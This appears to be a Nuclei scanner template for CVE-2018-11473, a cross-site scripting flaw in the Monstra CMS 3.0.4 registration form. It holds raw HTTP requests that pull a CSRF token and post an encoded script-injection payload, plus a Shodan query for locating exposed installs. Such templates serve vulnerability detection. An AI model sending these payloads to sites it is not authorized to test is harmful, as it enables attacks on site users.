id: CVE-2018-11473

info:
  name: Monstra CMS 3.0.4 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the registration form (i.e., the login parameter to users/registration). An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  remediation: |
    Upgrade to the latest version of Monstra CMS or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/monstra-cms/monstra/issues/446
    - https://github.com/nikhil1232/Monstra-CMS-3.0.4-XSS-ON-Registration-Page
    - https://nvd.nist.gov/vuln/detail/CVE-2018-11473
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-11473
    cwe-id: CWE-79
    epss-score: 0.00097
    epss-percentile: 0.40221
    cpe: cpe:2.3:a:monstra:monstra:3.0.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: monstra
    product: monstra
    shodan-query: http.favicon.hash:419828698
  tags: cve,cve2018,xss,mostra,mostracms,cms

http:
  - raw:
      - |
        GET /users/registration HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /users/registration HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        csrf={{csrf}}&login=test&password=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&email=teest%40gmail.com&answer=test&register=Register

    cookie-reuse: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><script>alert(document.domain)</script>"
          - "Monstra"
        case-insensitive: true
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - 'id="csrf" name="csrf" value="(.*)">'
        internal: true
        part: body